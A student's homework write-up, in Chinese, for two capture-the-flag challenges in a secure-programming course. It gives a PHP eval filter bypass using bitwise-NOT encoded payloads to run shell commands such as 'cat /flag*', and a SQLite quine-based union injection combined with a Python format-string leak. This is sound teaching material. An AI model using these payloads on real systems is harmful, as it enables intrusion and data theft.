Secure Programming 2020

HW5 write-up

(#°д°)

這一題php網頁會將參數傳入eval執行,但是還有一行preg_match('/[a-z0-9`]/i',$😺)會把數字子母跟重音符擋掉,所以單純傳system之類的是行不通的,一開始的想法是先把system xor之後等過了preg_match之後再做一次xor還原,這個思路是可行的,但是組成的payload太長了,逼近長度上限,除了ls之外執行不了其他指令,後來仔細翻了一下php的operator找到了~ operator,會把字串的每一個bit,1改0,0改1.

因此只要先把做了~ 的結果傳入,就可以通過preg_match的檢查,然後再做一次~把字串還原成我們想要的payload,就能讓eval執行.

```
將system作~再urlencode:
%8C%86%8C%8B%9A%92
將ls作~再urlencode:
%93%8C
將這兩段組成payload,先再做一次~在當成system執行:
(~%8C%86%8C%8B%9A%92)(~%93%8C);    //(~system)(~ls);
```

記得#是fragment,如果用瀏覽器輸入,要先encode,所以payload會像這樣:

```
?(%23°д°)=(~%8C%86%8C%8B%9A%92)(~%93%8C);
```

看了一下,當前目錄,發現只有index.php. 再去看一下根目錄.用同樣的作法包裝指令:

```
?(%23°д°)=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
//(~system)(~ls /);
```

發現一個疑似flag的檔案,flag_GV99N6HuFj1kpkV45Dp7A6Usk5s5nLUY.再cat它一下:

```
?(%23°д°)=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98%D5);
//(~system)(~cat /flag*);
```

得到flag:

```
FLAG{peeHpeeeeee(#°д°)!}
```

VISUAL BASIC 2077

腳本附在zip裡 exploit.py

這題是sql injection,要通過res['username'] == username and res['password'] == password:的判斷才能拿到flag,但其實並不需要真的從database裡面撈username跟password,只要想辦法,讓query得到的response跟input是一樣的也可以通過判斷式,也就是quine的概念,在網路上找了一個sqlite的quine,稍微改了一下.

' union SELECT REPLACE(REPLACE('" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$"), replace("","","") --',CHAR(34),CHAR(39)),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$"), replace("","","") --'), replace('','','') --

總共有兩層replace,因為replace的string是由'組成,所以字串裡頭只能使用",但是實際輸入的是單引號,所以第一層replace會把"轉回',但只有這樣還不夠,這樣並沒有包含第一層replace裡的內容,所以需要第二層,用一個特殊符表示第一層replace的字串再用第二層replace取代,這樣就可以使得輸入跟replace的結果完全一致.

通過了判斷式會發現,你不是admin,它不給你flag,一開始是想蓋session,後來發現session蓋不了,再仔細看了一下python的format string,發現可以直接印出參數內的東西,所以直接在username裡加上{flag.flag},就可以直接印出flag了.

' union SELECT REPLACE(REPLACE('" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$"), replace("","","") -- "{flag.flag}',CHAR(34),CHAR(39)),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$"), replace("","","") -- "{flag.flag}'), replace('','','') -- '{flag.flag}

```
FLAG{qu1n3_sq1_1nj3ct10nnn.__init__}
```